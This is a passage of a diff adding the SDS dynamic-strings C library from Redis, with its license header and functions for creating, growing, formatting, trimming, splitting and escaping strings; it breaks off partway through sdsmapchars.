+/* SDSLib 2.0 -- A C dynamic strings library
+ *
+ * Copyright (c) 2006-2015, Salvatore Sanfilippo <antirez at gmail dot com>
+ * Copyright (c) 2015, Oran Agra
+ * Copyright (c) 2015, Redis Labs, Inc
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions are met:
+ *
+ *   * Redistributions of source code must retain the above copyright notice,
+ *     this list of conditions and the following disclaimer.
+ *   * Redistributions in binary form must reproduce the above copyright
+ *     notice, this list of conditions and the following disclaimer in the
+ *     documentation and/or other materials provided with the distribution.
+ *   * Neither the name of Redis nor the names of its contributors may be used
+ *     to endorse or promote products derived from this software without
+ *     specific prior written permission.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
+ * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
+ * ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE
+ * LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
+ * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
+ * SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
+ * INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN
+ * CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
+ * ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
+ * POSSIBILITY OF SUCH DAMAGE.
+ */
+
+#include <stdio.h>
+#include <stdlib.h>
+#include <string.h>
+#include <ctype.h>
+#include <assert.h>
+#include "sds.h"
+#include "sdsalloc.h"
+
+static inline int sdsHdrSize(char type) {
+    switch(type&SDS_TYPE_MASK) {
+        case SDS_TYPE_5:
+            return sizeof(struct sdshdr5);
+        case SDS_TYPE_8:
+            return sizeof(struct sdshdr8);
+        case SDS_TYPE_16:
+            return sizeof(struct sdshdr16);
+        case SDS_TYPE_32:
+            return sizeof(struct sdshdr32);
+        case SDS_TYPE_64:
+            return sizeof(struct sdshdr64);
+    }
+    return 0;
+}
+
+static inline char sdsReqType(size_t string_size) {
+    if (string_size < 32)
+        return SDS_TYPE_5;
+    if (string_size < 0xff)
+        return SDS_TYPE_8;
+    if (string_size < 0xffff)
+        return SDS_TYPE_16;
+    if (string_size < 0xffffffff)
+        return SDS_TYPE_32;
+    return SDS_TYPE_64;
+}
+
+/* Create a new sds string with the content specified by the 'init' pointer
+ * and 'initlen'.
+ * If NULL is used for 'init' the string is initialized with zero bytes.
+ *
+ * The string is always null-termined (all the sds strings are, always) so
+ * even if you create an sds string with:
+ *
+ * mystring = sdsnewlen("abc",3);
+ *
+ * You can print the string with printf() as there is an implicit \0 at the
+ * end of the string. However the string is binary safe and can contain
+ * \0 characters in the middle, as the length is stored in the sds header. */
+sds sdsnewlen(const void *init, size_t initlen) {
+    void *sh;
+    sds s;
+    char type = sdsReqType(initlen);
+    /* Empty strings are usually created in order to append. Use type 8
+     * since type 5 is not good at this. */
+    if (type == SDS_TYPE_5 && initlen == 0) type = SDS_TYPE_8;
+    int hdrlen = sdsHdrSize(type);
+    unsigned char *fp; /* flags pointer. */
+
+    sh = s_malloc(hdrlen+initlen+1);
+    if (!init)
+        memset(sh, 0, hdrlen+initlen+1);
+    if (sh == NULL) return NULL;
+    s = (char*)sh+hdrlen;
+    fp = ((unsigned char*)s)-1;
+    switch(type) {
+        case SDS_TYPE_5: {
+            *fp = type | (initlen << SDS_TYPE_BITS);
+            break;
+        }
+        case SDS_TYPE_8: {
+            SDS_HDR_VAR(8,s);
+            sh->len = initlen;
+            sh->alloc = initlen;
+            *fp = type;
+            break;
+        }
+        case SDS_TYPE_16: {
+            SDS_HDR_VAR(16,s);
+            sh->len = initlen;
+            sh->alloc = initlen;
+            *fp = type;
+            break;
+        }
+        case SDS_TYPE_32: {
+            SDS_HDR_VAR(32,s);
+            sh->len = initlen;
+            sh->alloc = initlen;
+            *fp = type;
+            break;
+        }
+        case SDS_TYPE_64: {
+            SDS_HDR_VAR(64,s);
+            sh->len = initlen;
+            sh->alloc = initlen;
+            *fp = type;
+            break;
+        }
+    }
+    if (initlen && init)
+        memcpy(s, init, initlen);
+    s[initlen] = '\0';
+    return s;
+}
+
+/* Create an empty (zero length) sds string. Even in this case the string
+ * always has an implicit null term. */
+sds sdsempty(void) {
+    return sdsnewlen("",0);
+}
+
+/* Create a new sds string starting from a null terminated C string. */
+sds sdsnew(const char *init) {
+    size_t initlen = (init == NULL) ? 0 : strlen(init);
+    return sdsnewlen(init, initlen);
+}
+
+/* Duplicate an sds string. */
+sds sdsdup(const sds s) {
+    return sdsnewlen(s, sdslen(s));
+}
+
+/* Free an sds string. No operation is performed if 's' is NULL. */
+void sdsfree(sds s) {
+    if (s == NULL) return;
+    s_free((char*)s-sdsHdrSize(s[-1]));
+}
+
+/* Set the sds string length to the length as obtained with strlen(), so
+ * considering as content only up to the first null term character.
+ *
+ * This function is useful when the sds string is hacked manually in some
+ * way, like in the following example:
+ *
+ * s = sdsnew("foobar");
+ * s[2] = '\0';
+ * sdsupdatelen(s);
+ * printf("%d\n", sdslen(s));
+ *
+ * The output will be "2", but if we comment out the call to sdsupdatelen()
+ * the output will be "6" as the string was modified but the logical length
+ * remains 6 bytes. */
+void sdsupdatelen(sds s) {
+    int reallen = strlen(s);
+    sdssetlen(s, reallen);
+}
+
+/* Modify an sds string in-place to make it empty (zero length).
+ * However all the existing buffer is not discarded but set as free space
+ * so that next append operations will not require allocations up to the
+ * number of bytes previously available. */
+void sdsclear(sds s) {
+    sdssetlen(s, 0);
+    s[0] = '\0';
+}
+
+/* Enlarge the free space at the end of the sds string so that the caller
+ * is sure that after calling this function can overwrite up to addlen
+ * bytes after the end of the string, plus one more byte for nul term.
+ *
+ * Note: this does not change the *length* of the sds string as returned
+ * by sdslen(), but only the free buffer space we have. */
+sds sdsMakeRoomFor(sds s, size_t addlen) {
+    void *sh, *newsh;
+    size_t avail = sdsavail(s);
+    size_t len, newlen;
+    char type, oldtype = s[-1] & SDS_TYPE_MASK;
+    int hdrlen;
+
+    /* Return ASAP if there is enough space left. */
+    if (avail >= addlen) return s;
+
+    len = sdslen(s);
+    sh = (char*)s-sdsHdrSize(oldtype);
+    newlen = (len+addlen);
+    if (newlen < SDS_MAX_PREALLOC)
+        newlen *= 2;
+    else
+        newlen += SDS_MAX_PREALLOC;
+
+    type = sdsReqType(newlen);
+
+    /* Don't use type 5: the user is appending to the string and type 5 is
+     * not able to remember empty space, so sdsMakeRoomFor() must be called
+     * at every appending operation. */
+    if (type == SDS_TYPE_5) type = SDS_TYPE_8;
+
+    hdrlen = sdsHdrSize(type);
+    if (oldtype==type) {
+        newsh = s_realloc(sh, hdrlen+newlen+1);
+        if (newsh == NULL) return NULL;
+        s = (char*)newsh+hdrlen;
+    } else {
+        /* Since the header size changes, need to move the string forward,
+         * and can't use realloc */
+        newsh = s_malloc(hdrlen+newlen+1);
+        if (newsh == NULL) return NULL;
+        memcpy((char*)newsh+hdrlen, s, len+1);
+        s_free(sh);
+        s = (char*)newsh+hdrlen;
+        s[-1] = type;
+        sdssetlen(s, len);
+    }
+    sdssetalloc(s, newlen);
+    return s;
+}
+
+/* Reallocate the sds string so that it has no free space at the end. The
+ * contained string remains not altered, but next concatenation operations
+ * will require a reallocation.
+ *
+ * After the call, the passed sds string is no longer valid and all the
+ * references must be substituted with the new pointer returned by the call. */
+sds sdsRemoveFreeSpace(sds s) {
+    void *sh, *newsh;
+    char type, oldtype = s[-1] & SDS_TYPE_MASK;
+    int hdrlen;
+    size_t len = sdslen(s);
+    sh = (char*)s-sdsHdrSize(oldtype);
+
+    type = sdsReqType(len);
+    hdrlen = sdsHdrSize(type);
+    if (oldtype==type) {
+        newsh = s_realloc(sh, hdrlen+len+1);
+        if (newsh == NULL) return NULL;
+        s = (char*)newsh+hdrlen;
+    } else {
+        newsh = s_malloc(hdrlen+len+1);
+        if (newsh == NULL) return NULL;
+        memcpy((char*)newsh+hdrlen, s, len+1);
+        s_free(sh);
+        s = (char*)newsh+hdrlen;
+        s[-1] = type;
+        sdssetlen(s, len);
+    }
+    sdssetalloc(s, len);
+    return s;
+}
+
+/* Return the total size of the allocation of the specifed sds string,
+ * including:
+ * 1) The sds header before the pointer.
+ * 2) The string.
+ * 3) The free buffer at the end if any.
+ * 4) The implicit null term.
+ */
+size_t sdsAllocSize(sds s) {
+    size_t alloc = sdsalloc(s);
+    return sdsHdrSize(s[-1])+alloc+1;
+}
+
+/* Return the pointer of the actual SDS allocation (normally SDS strings
+ * are referenced by the start of the string buffer). */
+void *sdsAllocPtr(sds s) {
+    return (void*) (s-sdsHdrSize(s[-1]));
+}
+
+/* Increment the sds length and decrements the left free space at the
+ * end of the string according to 'incr'. Also set the null term
+ * in the new end of the string.
+ *
+ * This function is used in order to fix the string length after the
+ * user calls sdsMakeRoomFor(), writes something after the end of
+ * the current string, and finally needs to set the new length.
+ *
+ * Note: it is possible to use a negative increment in order to
+ * right-trim the string.
+ *
+ * Usage example:
+ *
+ * Using sdsIncrLen() and sdsMakeRoomFor() it is possible to mount the
+ * following schema, to cat bytes coming from the kernel to the end of an
+ * sds string without copying into an intermediate buffer:
+ *
+ * oldlen = sdslen(s);
+ * s = sdsMakeRoomFor(s, BUFFER_SIZE);
+ * nread = read(fd, s+oldlen, BUFFER_SIZE);
+ * ... check for nread <= 0 and handle it ...
+ * sdsIncrLen(s, nread);
+ */
+void sdsIncrLen(sds s, int incr) {
+    unsigned char flags = s[-1];
+    size_t len;
+    switch(flags&SDS_TYPE_MASK) {
+        case SDS_TYPE_5: {
+            unsigned char *fp = ((unsigned char*)s)-1;
+            unsigned char oldlen = SDS_TYPE_5_LEN(flags);
+            assert((incr > 0 && oldlen+incr < 32) || (incr < 0 && oldlen >= (unsigned int)(-incr)));
+            *fp = SDS_TYPE_5 | ((oldlen+incr) << SDS_TYPE_BITS);
+            len = oldlen+incr;
+            break;
+        }
+        case SDS_TYPE_8: {
+            SDS_HDR_VAR(8,s);
+            assert((incr >= 0 && sh->alloc-sh->len >= incr) || (incr < 0 && sh->len >= (unsigned int)(-incr)));
+            len = (sh->len += incr);
+            break;
+        }
+        case SDS_TYPE_16: {
+            SDS_HDR_VAR(16,s);
+            assert((incr >= 0 && sh->alloc-sh->len >= incr) || (incr < 0 && sh->len >= (unsigned int)(-incr)));
+            len = (sh->len += incr);
+            break;
+        }
+        case SDS_TYPE_32: {
+            SDS_HDR_VAR(32,s);
+            assert((incr >= 0 && sh->alloc-sh->len >= (unsigned int)incr) || (incr < 0 && sh->len >= (unsigned int)(-incr)));
+            len = (sh->len += incr);
+            break;
+        }
+        case SDS_TYPE_64: {
+            SDS_HDR_VAR(64,s);
+            assert((incr >= 0 && sh->alloc-sh->len >= (uint64_t)incr) || (incr < 0 && sh->len >= (uint64_t)(-incr)));
+            len = (sh->len += incr);
+            break;
+        }
+        default: len = 0; /* Just to avoid compilation warnings. */
+    }
+    s[len] = '\0';
+}
+
+/* Grow the sds to have the specified length. Bytes that were not part of
+ * the original length of the sds will be set to zero.
+ *
+ * if the specified length is smaller than the current length, no operation
+ * is performed. */
+sds sdsgrowzero(sds s, size_t len) {
+    size_t curlen = sdslen(s);
+
+    if (len <= curlen) return s;
+    s = sdsMakeRoomFor(s,len-curlen);
+    if (s == NULL) return NULL;
+
+    /* Make sure added region doesn't contain garbage */
+    memset(s+curlen,0,(len-curlen+1)); /* also set trailing \0 byte */
+    sdssetlen(s, len);
+    return s;
+}
+
+/* Append the specified binary-safe string pointed by 't' of 'len' bytes to the
+ * end of the specified sds string 's'.
+ *
+ * After the call, the passed sds string is no longer valid and all the
+ * references must be substituted with the new pointer returned by the call. */
+sds sdscatlen(sds s, const void *t, size_t len) {
+    size_t curlen = sdslen(s);
+
+    s = sdsMakeRoomFor(s,len);
+    if (s == NULL) return NULL;
+    memcpy(s+curlen, t, len);
+    sdssetlen(s, curlen+len);
+    s[curlen+len] = '\0';
+    return s;
+}
+
+/* Append the specified null termianted C string to the sds string 's'.
+ *
+ * After the call, the passed sds string is no longer valid and all the
+ * references must be substituted with the new pointer returned by the call. */
+sds sdscat(sds s, const char *t) {
+    return sdscatlen(s, t, strlen(t));
+}
+
+/* Append the specified sds 't' to the existing sds 's'.
+ *
+ * After the call, the modified sds string is no longer valid and all the
+ * references must be substituted with the new pointer returned by the call. */
+sds sdscatsds(sds s, const sds t) {
+    return sdscatlen(s, t, sdslen(t));
+}
+
+/* Destructively modify the sds string 's' to hold the specified binary
+ * safe string pointed by 't' of length 'len' bytes. */
+sds sdscpylen(sds s, const char *t, size_t len) {
+    if (sdsalloc(s) < len) {
+        s = sdsMakeRoomFor(s,len-sdslen(s));
+        if (s == NULL) return NULL;
+    }
+    memcpy(s, t, len);
+    s[len] = '\0';
+    sdssetlen(s, len);
+    return s;
+}
+
+/* Like sdscpylen() but 't' must be a null-termined string so that the length
+ * of the string is obtained with strlen(). */
+sds sdscpy(sds s, const char *t) {
+    return sdscpylen(s, t, strlen(t));
+}
+
+/* Helper for sdscatlonglong() doing the actual number -> string
+ * conversion. 's' must point to a string with room for at least
+ * SDS_LLSTR_SIZE bytes.
+ *
+ * The function returns the length of the null-terminated string
+ * representation stored at 's'. */
+#define SDS_LLSTR_SIZE 21
+int sdsll2str(char *s, long long value) {
+    char *p, aux;
+    unsigned long long v;
+    size_t l;
+
+    /* Generate the string representation, this method produces
+     * an reversed string. */
+    v = (value < 0) ? -value : value;
+    p = s;
+    do {
+        *p++ = '0'+(v%10);
+        v /= 10;
+    } while(v);
+    if (value < 0) *p++ = '-';
+
+    /* Compute length and add null term. */
+    l = p-s;
+    *p = '\0';
+
+    /* Reverse the string. */
+    p--;
+    while(s < p) {
+        aux = *s;
+        *s = *p;
+        *p = aux;
+        s++;
+        p--;
+    }
+    return l;
+}
+
+/* Identical sdsll2str(), but for unsigned long long type. */
+int sdsull2str(char *s, unsigned long long v) {
+    char *p, aux;
+    size_t l;
+
+    /* Generate the string representation, this method produces
+     * an reversed string. */
+    p = s;
+    do {
+        *p++ = '0'+(v%10);
+        v /= 10;
+    } while(v);
+
+    /* Compute length and add null term. */
+    l = p-s;
+    *p = '\0';
+
+    /* Reverse the string. */
+    p--;
+    while(s < p) {
+        aux = *s;
+        *s = *p;
+        *p = aux;
+        s++;
+        p--;
+    }
+    return l;
+}
+
+/* Create an sds string from a long long value. It is much faster than:
+ *
+ * sdscatprintf(sdsempty(),"%lld\n", value);
+ */
+sds sdsfromlonglong(long long value) {
+    char buf[SDS_LLSTR_SIZE];
+    int len = sdsll2str(buf,value);
+
+    return sdsnewlen(buf,len);
+}
+
+/* Like sdscatprintf() but gets va_list instead of being variadic. */
+sds sdscatvprintf(sds s, const char *fmt, va_list ap) {
+    va_list cpy;
+    char staticbuf[1024], *buf = staticbuf, *t;
+    size_t buflen = strlen(fmt)*2;
+
+    /* We try to start using a static buffer for speed.
+     * If not possible we revert to heap allocation. */
+    if (buflen > sizeof(staticbuf)) {
+        buf = s_malloc(buflen);
+        if (buf == NULL) return NULL;
+    } else {
+        buflen = sizeof(staticbuf);
+    }
+
+    /* Try with buffers two times bigger every time we fail to
+     * fit the string in the current buffer size. */
+    while(1) {
+        buf[buflen-2] = '\0';
+        va_copy(cpy,ap);
+        vsnprintf(buf, buflen, fmt, cpy);
+        va_end(cpy);
+        if (buf[buflen-2] != '\0') {
+            if (buf != staticbuf) s_free(buf);
+            buflen *= 2;
+            buf = s_malloc(buflen);
+            if (buf == NULL) return NULL;
+            continue;
+        }
+        break;
+    }
+
+    /* Finally concat the obtained string to the SDS string and return it. */
+    t = sdscat(s, buf);
+    if (buf != staticbuf) s_free(buf);
+    return t;
+}
+
+/* Append to the sds string 's' a string obtained using printf-alike format
+ * specifier.
+ *
+ * After the call, the modified sds string is no longer valid and all the
+ * references must be substituted with the new pointer returned by the call.
+ *
+ * Example:
+ *
+ * s = sdsnew("Sum is: ");
+ * s = sdscatprintf(s,"%d+%d = %d",a,b,a+b).
+ *
+ * Often you need to create a string from scratch with the printf-alike
+ * format. When this is the need, just use sdsempty() as the target string:
+ *
+ * s = sdscatprintf(sdsempty(), "... your format ...", args);
+ */
+sds sdscatprintf(sds s, const char *fmt, ...) {
+    va_list ap;
+    char *t;
+    va_start(ap, fmt);
+    t = sdscatvprintf(s,fmt,ap);
+    va_end(ap);
+    return t;
+}
+
+/* This function is similar to sdscatprintf, but much faster as it does
+ * not rely on sprintf() family functions implemented by the libc that
+ * are often very slow. Moreover directly handling the sds string as
+ * new data is concatenated provides a performance improvement.
+ *
+ * However this function only handles an incompatible subset of printf-alike
+ * format specifiers:
+ *
+ * %s - C String
+ * %S - SDS string
+ * %i - signed int
+ * %I - 64 bit signed integer (long long, int64_t)
+ * %u - unsigned int
+ * %U - 64 bit unsigned integer (unsigned long long, uint64_t)
+ * %% - Verbatim "%" character.
+ */
+sds sdscatfmt(sds s, char const *fmt, ...) {
+    size_t initlen = sdslen(s);
+    const char *f = fmt;
+    int i;
+    va_list ap;
+
+    va_start(ap,fmt);
+    f = fmt;    /* Next format specifier byte to process. */
+    i = initlen; /* Position of the next byte to write to dest str. */
+    while(*f) {
+        char next, *str;
+        size_t l;
+        long long num;
+        unsigned long long unum;
+
+        /* Make sure there is always space for at least 1 char. */
+        if (sdsavail(s)==0) {
+            s = sdsMakeRoomFor(s,1);
+        }
+
+        switch(*f) {
+        case '%':
+            next = *(f+1);
+            f++;
+            switch(next) {
+            case 's':
+            case 'S':
+                str = va_arg(ap,char*);
+                l = (next == 's') ? strlen(str) : sdslen(str);
+                if (sdsavail(s) < l) {
+                    s = sdsMakeRoomFor(s,l);
+                }
+                memcpy(s+i,str,l);
+                sdsinclen(s,l);
+                i += l;
+                break;
+            case 'i':
+            case 'I':
+                if (next == 'i')
+                    num = va_arg(ap,int);
+                else
+                    num = va_arg(ap,long long);
+                {
+                    char buf[SDS_LLSTR_SIZE];
+                    l = sdsll2str(buf,num);
+                    if (sdsavail(s) < l) {
+                        s = sdsMakeRoomFor(s,l);
+                    }
+                    memcpy(s+i,buf,l);
+                    sdsinclen(s,l);
+                    i += l;
+                }
+                break;
+            case 'u':
+            case 'U':
+                if (next == 'u')
+                    unum = va_arg(ap,unsigned int);
+                else
+                    unum = va_arg(ap,unsigned long long);
+                {
+                    char buf[SDS_LLSTR_SIZE];
+                    l = sdsull2str(buf,unum);
+                    if (sdsavail(s) < l) {
+                        s = sdsMakeRoomFor(s,l);
+                    }
+                    memcpy(s+i,buf,l);
+                    sdsinclen(s,l);
+                    i += l;
+                }
+                break;
+            default: /* Handle %% and generally %<unknown>. */
+                s[i++] = next;
+                sdsinclen(s,1);
+                break;
+            }
+            break;
+        default:
+            s[i++] = *f;
+            sdsinclen(s,1);
+            break;
+        }
+        f++;
+    }
+    va_end(ap);
+
+    /* Add null-term */
+    s[i] = '\0';
+    return s;
+}
+
+/* Remove the part of the string from left and from right composed just of
+ * contiguous characters found in 'cset', that is a null terminted C string.
+ *
+ * After the call, the modified sds string is no longer valid and all the
+ * references must be substituted with the new pointer returned by the call.
+ *
+ * Example:
+ *
+ * s = sdsnew("AA...AA.a.aa.aHelloWorld     :::");
+ * s = sdstrim(s,"Aa. :");
+ * printf("%s\n", s);
+ *
+ * Output will be just "Hello World".
+ */
+sds sdstrim(sds s, const char *cset) {
+    char *start, *end, *sp, *ep;
+    size_t len;
+
+    sp = start = s;
+    ep = end = s+sdslen(s)-1;
+    while(sp <= end && strchr(cset, *sp)) sp++;
+    while(ep > sp && strchr(cset, *ep)) ep--;
+    len = (sp > ep) ? 0 : ((ep-sp)+1);
+    if (s != sp) memmove(s, sp, len);
+    s[len] = '\0';
+    sdssetlen(s,len);
+    return s;
+}
+
+/* Turn the string into a smaller (or equal) string containing only the
+ * substring specified by the 'start' and 'end' indexes.
+ *
+ * start and end can be negative, where -1 means the last character of the
+ * string, -2 the penultimate character, and so forth.
+ *
+ * The interval is inclusive, so the start and end characters will be part
+ * of the resulting string.
+ *
+ * The string is modified in-place.
+ *
+ * Example:
+ *
+ * s = sdsnew("Hello World");
+ * sdsrange(s,1,-1); => "ello World"
+ */
+void sdsrange(sds s, int start, int end) {
+    size_t newlen, len = sdslen(s);
+
+    if (len == 0) return;
+    if (start < 0) {
+        start = len+start;
+        if (start < 0) start = 0;
+    }
+    if (end < 0) {
+        end = len+end;
+        if (end < 0) end = 0;
+    }
+    newlen = (start > end) ? 0 : (end-start)+1;
+    if (newlen != 0) {
+        if (start >= (signed)len) {
+            newlen = 0;
+        } else if (end >= (signed)len) {
+            end = len-1;
+            newlen = (start > end) ? 0 : (end-start)+1;
+        }
+    } else {
+        start = 0;
+    }
+    if (start && newlen) memmove(s, s+start, newlen);
+    s[newlen] = 0;
+    sdssetlen(s,newlen);
+}
+
+/* Apply tolower() to every character of the sds string 's'. */
+void sdstolower(sds s) {
+    int len = sdslen(s), j;
+
+    for (j = 0; j < len; j++) s[j] = tolower(s[j]);
+}
+
+/* Apply toupper() to every character of the sds string 's'. */
+void sdstoupper(sds s) {
+    int len = sdslen(s), j;
+
+    for (j = 0; j < len; j++) s[j] = toupper(s[j]);
+}
+
+/* Compare two sds strings s1 and s2 with memcmp().
+ *
+ * Return value:
+ *
+ *     positive if s1 > s2.
+ *     negative if s1 < s2.
+ *     0 if s1 and s2 are exactly the same binary string.
+ *
+ * If two strings share exactly the same prefix, but one of the two has
+ * additional characters, the longer string is considered to be greater than
+ * the smaller one. */
+int sdscmp(const sds s1, const sds s2) {
+    size_t l1, l2, minlen;
+    int cmp;
+
+    l1 = sdslen(s1);
+    l2 = sdslen(s2);
+    minlen = (l1 < l2) ? l1 : l2;
+    cmp = memcmp(s1,s2,minlen);
+    if (cmp == 0) return l1-l2;
+    return cmp;
+}
+
+/* Split 's' with separator in 'sep'. An array
+ * of sds strings is returned. *count will be set
+ * by reference to the number of tokens returned.
+ *
+ * On out of memory, zero length string, zero length
+ * separator, NULL is returned.
+ *
+ * Note that 'sep' is able to split a string using
+ * a multi-character separator. For example
+ * sdssplit("foo_-_bar","_-_"); will return two
+ * elements "foo" and "bar".
+ *
+ * This version of the function is binary-safe but
+ * requires length arguments. sdssplit() is just the
+ * same function but for zero-terminated strings.
+ */
+sds *sdssplitlen(const char *s, int len, const char *sep, int seplen, int *count) {
+    int elements = 0, slots = 5, start = 0, j;
+    sds *tokens;
+
+    if (seplen < 1 || len < 0) return NULL;
+
+    tokens = s_malloc(sizeof(sds)*slots);
+    if (tokens == NULL) return NULL;
+
+    if (len == 0) {
+        *count = 0;
+        return tokens;
+    }
+    for (j = 0; j < (len-(seplen-1)); j++) {
+        /* make sure there is room for the next element and the final one */
+        if (slots < elements+2) {
+            sds *newtokens;
+
+            slots *= 2;
+            newtokens = s_realloc(tokens,sizeof(sds)*slots);
+            if (newtokens == NULL) goto cleanup;
+            tokens = newtokens;
+        }
+        /* search the separator */
+        if ((seplen == 1 && *(s+j) == sep[0]) || (memcmp(s+j,sep,seplen) == 0)) {
+            tokens[elements] = sdsnewlen(s+start,j-start);
+            if (tokens[elements] == NULL) goto cleanup;
+            elements++;
+            start = j+seplen;
+            j = j+seplen-1; /* skip the separator */
+        }
+    }
+    /* Add the final element. We are sure there is room in the tokens array. */
+    tokens[elements] = sdsnewlen(s+start,len-start);
+    if (tokens[elements] == NULL) goto cleanup;
+    elements++;
+    *count = elements;
+    return tokens;
+
+cleanup:
+    {
+        int i;
+        for (i = 0; i < elements; i++) sdsfree(tokens[i]);
+        s_free(tokens);
+        *count = 0;
+        return NULL;
+    }
+}
+
+/* Free the result returned by sdssplitlen(), or do nothing if 'tokens' is NULL. */
+void sdsfreesplitres(sds *tokens, int count) {
+    if (!tokens) return;
+    while(count--)
+        sdsfree(tokens[count]);
+    s_free(tokens);
+}
+
+/* Append to the sds string "s" an escaped string representation where
+ * all the non-printable characters (tested with isprint()) are turned into
+ * escapes in the form "\n\r\a...." or "\x<hex-number>".
+ *
+ * After the call, the modified sds string is no longer valid and all the
+ * references must be substituted with the new pointer returned by the call. */
+sds sdscatrepr(sds s, const char *p, size_t len) {
+    s = sdscatlen(s,"\"",1);
+    while(len--) {
+        switch(*p) {
+        case '\\':
+        case '"':
+            s = sdscatprintf(s,"\\%c",*p);
+            break;
+        case '\n': s = sdscatlen(s,"\\n",2); break;
+        case '\r': s = sdscatlen(s,"\\r",2); break;
+        case '\t': s = sdscatlen(s,"\\t",2); break;
+        case '\a': s = sdscatlen(s,"\\a",2); break;
+        case '\b': s = sdscatlen(s,"\\b",2); break;
+        default:
+            if (isprint(*p))
+                s = sdscatprintf(s,"%c",*p);
+            else
+                s = sdscatprintf(s,"\\x%02x",(unsigned char)*p);
+            break;
+        }
+        p++;
+    }
+    return sdscatlen(s,"\"",1);
+}
+
+/* Helper function for sdssplitargs() that returns non zero if 'c'
+ * is a valid hex digit. */
+int is_hex_digit(char c) {
+    return (c >= '0' && c <= '9') || (c >= 'a' && c <= 'f') ||
+           (c >= 'A' && c <= 'F');
+}
+
+/* Helper function for sdssplitargs() that converts a hex digit into an
+ * integer from 0 to 15 */
+int hex_digit_to_int(char c) {
+    switch(c) {
+    case '0': return 0;
+    case '1': return 1;
+    case '2': return 2;
+    case '3': return 3;
+    case '4': return 4;
+    case '5': return 5;
+    case '6': return 6;
+    case '7': return 7;
+    case '8': return 8;
+    case '9': return 9;
+    case 'a': case 'A': return 10;
+    case 'b': case 'B': return 11;
+    case 'c': case 'C': return 12;
+    case 'd': case 'D': return 13;
+    case 'e': case 'E': return 14;
+    case 'f': case 'F': return 15;
+    default: return 0;
+    }
+}
+
+/* Split a line into arguments, where every argument can be in the
+ * following programming-language REPL-alike form:
+ *
+ * foo bar "newline are supported\n" and "\xff\x00otherstuff"
+ *
+ * The number of arguments is stored into *argc, and an array
+ * of sds is returned.
+ *
+ * The caller should free the resulting array of sds strings with
+ * sdsfreesplitres().
+ *
+ * Note that sdscatrepr() is able to convert back a string into
+ * a quoted string in the same format sdssplitargs() is able to parse.
+ *
+ * The function returns the allocated tokens on success, even when the
+ * input string is empty, or NULL if the input contains unbalanced
+ * quotes or closed quotes followed by non space characters
+ * as in: "foo"bar or "foo'
+ */
+sds *sdssplitargs(const char *line, int *argc) {
+    const char *p = line;
+    char *current = NULL;
+    char **vector = NULL;
+
+    *argc = 0;
+    while(1) {
+        /* skip blanks */
+        while(*p && isspace(*p)) p++;
+        if (*p) {
+            /* get a token */
+            int inq=0;  /* set to 1 if we are in "quotes" */
+            int insq=0; /* set to 1 if we are in 'single quotes' */
+            int done=0;
+
+            if (current == NULL) current = sdsempty();
+            while(!done) {
+                if (inq) {
+                    if (*p == '\\' && *(p+1) == 'x' &&
+                                             is_hex_digit(*(p+2)) &&
+                                             is_hex_digit(*(p+3)))
+                    {
+                        unsigned char byte;
+
+                        byte = (hex_digit_to_int(*(p+2))*16)+
+                                hex_digit_to_int(*(p+3));
+                        current = sdscatlen(current,(char*)&byte,1);
+                        p += 3;
+                    } else if (*p == '\\' && *(p+1)) {
+                        char c;
+
+                        p++;
+                        switch(*p) {
+                        case 'n': c = '\n'; break;
+                        case 'r': c = '\r'; break;
+                        case 't': c = '\t'; break;
+                        case 'b': c = '\b'; break;
+                        case 'a': c = '\a'; break;
+                        default: c = *p; break;
+                        }
+                        current = sdscatlen(current,&c,1);
+                    } else if (*p == '"') {
+                        /* closing quote must be followed by a space or
+                         * nothing at all. */
+                        if (*(p+1) && !isspace(*(p+1))) goto err;
+                        done=1;
+                    } else if (!*p) {
+                        /* unterminated quotes */
+                        goto err;
+                    } else {
+                        current = sdscatlen(current,p,1);
+                    }
+                } else if (insq) {
+                    if (*p == '\\' && *(p+1) == '\'') {
+                        p++;
+                        current = sdscatlen(current,"'",1);
+                    } else if (*p == '\'') {
+                        /* closing quote must be followed by a space or
+                         * nothing at all. */
+                        if (*(p+1) && !isspace(*(p+1))) goto err;
+                        done=1;
+                    } else if (!*p) {
+                        /* unterminated quotes */
+                        goto err;
+                    } else {
+                        current = sdscatlen(current,p,1);
+                    }
+                } else {
+                    switch(*p) {
+                    case ' ':
+                    case '\n':
+                    case '\r':
+                    case '\t':
+                    case '\0':
+                        done=1;
+                        break;
+                    case '"':
+                        inq=1;
+                        break;
+                    case '\'':
+                        insq=1;
+                        break;
+                    default:
+                        current = sdscatlen(current,p,1);
+                        break;
+                    }
+                }
+                if (*p) p++;
+            }
+            /* add the token to the vector */
+            vector = s_realloc(vector,((*argc)+1)*sizeof(char*));
+            vector[*argc] = current;
+            (*argc)++;
+            current = NULL;
+        } else {
+            /* Even on empty input string return something not NULL. */
+            if (vector == NULL) vector = s_malloc(sizeof(void*));
+            return vector;
+        }
+    }
+
+err:
+    while((*argc)--)
+        sdsfree(vector[*argc]);
+    s_free(vector);
+    if (current) sdsfree(current);
+    *argc = 0;
+    return NULL;
+}
+
+/* Modify the string substituting all the occurrences of the set of
+ * characters specified in the 'from' string to the corresponding character
+ * in the 'to' array.
+ *
+ * For instance: sdsmapchars(mystring, "ho", "01", 2)
+ * will have the effect of turning the string "hello" into "0ell1".
+ *
+ * The function returns the sds string pointer, that is always the same
+ * as the input pointer since no resize is needed. */
+sds sdsmapchars(sds s, const char *from, const char *to, size_t setlen) {
+    size_t j, i, l = sdslen(s);
+
+    for (j = 0; j < l; j++) {
+        for (i = 0; i < setlen; i++) {
